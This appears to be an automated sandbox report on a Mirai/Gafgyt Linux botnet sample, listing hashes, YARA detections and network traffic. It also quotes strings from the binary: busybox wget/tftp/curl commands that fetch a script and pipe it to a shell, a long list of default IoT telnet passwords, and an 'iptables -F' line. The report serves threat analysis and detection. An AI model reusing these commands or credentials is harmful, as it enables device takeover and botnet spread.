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Linux Analysis Report
la.bot.x86_64.elf

Overview

General Information

Sample name:	la.bot.x86_64.elf
Analysis ID:	1591577
MD5:	cfb666f58d6ad700f271fb3fd3df0692
SHA1:	58d09f72c371b61677484f30b71048299b2f114d
SHA256:	afb2e2df5a4b6cd2d4d00b4dbe1875e53d4f29352a525c820d54ab096b9007c6
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	84
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Deletes system log files

Machine Learning detection for sample

Performs DNS TXT record lookups

Sample reads /proc/mounts (often used for finding a writable filesystem)

Sample tries to access files in /etc/config/ (typical for OpenWRT routers)

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591577
Start date and time:	2025-01-15 05:12:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.x86_64.elf
Detection:	MAL
Classification:	mal84.troj.evad.linELF@0/1@3/0

Warnings

VT rate limit hit for: ai.stackoverflow.libre

Runtime Messages

Command:	/tmp/la.bot.x86_64.elf
PID:	5434
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	thIs wEek on xLaB aNd fOxNoIntel lEarNs sHiT
Standard Error:

Process Tree

system is lnxubuntu20

la.bot.x86_64.elf (PID: 5434, Parent: 5355, MD5: cfb666f58d6ad700f271fb3fd3df0692) Arguments: /tmp/la.bot.x86_64.elf

la.bot.x86_64.elf New Fork (PID: 5435, Parent: 5434)

la.bot.x86_64.elf New Fork (PID: 5436, Parent: 5434)

la.bot.x86_64.elf New Fork (PID: 5437, Parent: 5434)

la.bot.x86_64.elf New Fork (PID: 5458, Parent: 5434)

la.bot.x86_64.elf New Fork (PID: 5500, Parent: 5434)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
la.bot.x86_64.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
la.bot.x86_64.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf258:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
la.bot.x86_64.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xfa47:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
la.bot.x86_64.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xb732:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xb894:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
la.bot.x86_64.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x1247a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
la.bot.x86_64.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf607:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
la.bot.x86_64.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf8d2:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
la.bot.x86_64.elf	Linux_Trojan_Mirai_1cb033f3	unknown	unknown	0x4721:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF 0x489d:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5458.1.0000000000400000.0000000000417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5458.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf258:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5458.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xfa47:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5458.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xb732:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xb894:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5458.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x1247a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5458.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf607:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5458.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf8d2:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5458.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Mirai_1cb033f3	unknown	unknown	0x4721:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF 0x489d:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF
5434.1.0000000000400000.0000000000417000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5434.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf258:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5434.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xfa47:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5434.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xb732:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xb894:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5434.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x1247a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5434.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf607:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5434.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf8d2:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5434.1.0000000000400000.0000000000417000.r-x.sdmp	Linux_Trojan_Mirai_1cb033f3	unknown	unknown	0x4721:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF 0x489d:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF
Click to see the 11 entries

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• HIPS / PFW / Operating System Protection Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: la.bot.x86_64.elf	ReversingLabs: Detection: 34%
Source: la.bot.x86_64.elf	Virustotal: Detection: 33%			Perma Link

Machine Learning detection for sample

Source: la.bot.x86_64.elf

Joe Sandbox ML: detected

Source: la.bot.x86_64.elf

String: /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68kG

Source: global traffic	TCP traffic: 192.168.2.13:56800 -> 188.166.182.194:10321
Source: global traffic	UDP traffic: 192.168.2.13:54219 -> 74.125.250.129:19302

Source: /tmp/la.bot.x86_64.elf (PID: 5434)

Socket: 127.0.0.1:43478

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 43.237.252.90
Source: unknown	TCP traffic detected without corresponding DNS query: 43.237.252.90
Source: unknown	TCP traffic detected without corresponding DNS query: 120.113.24.42
Source: unknown	TCP traffic detected without corresponding DNS query: 120.113.24.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.144.218.28
Source: unknown	TCP traffic detected without corresponding DNS query: 89.144.218.28
Source: unknown	TCP traffic detected without corresponding DNS query: 121.206.227.168
Source: unknown	TCP traffic detected without corresponding DNS query: 121.206.227.168
Source: unknown	TCP traffic detected without corresponding DNS query: 121.206.227.168
Source: unknown	TCP traffic detected without corresponding DNS query: 120.113.24.42
Source: unknown	TCP traffic detected without corresponding DNS query: 43.237.252.90
Source: unknown	TCP traffic detected without corresponding DNS query: 89.144.218.28
Source: unknown	TCP traffic detected without corresponding DNS query: 89.144.218.28
Source: unknown	TCP traffic detected without corresponding DNS query: 120.113.24.42
Source: unknown	TCP traffic detected without corresponding DNS query: 121.206.227.168
Source: unknown	TCP traffic detected without corresponding DNS query: 43.237.252.90
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194

Source: global traffic	DNS traffic detected: DNS query: ai.stackoverflow.libre
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: la.bot.x86_64.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.x86_64.elf	String found in binary or memory: http:///wget.sh

System Summary

Malicious sample detected (through community Yara rule)

Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_1cb033f3 Author: unknown
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 Author: unknown
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 Author: unknown

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd echo '#!/bin/sh' > check_pids.sh
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68kG

Source: ELF static info symbol of initial sample

.symtab present: no

Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: la.bot.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_1cb033f3 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358, id = 1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e, last_modified = 2021-09-16
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5458.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358, id = 1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5434.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
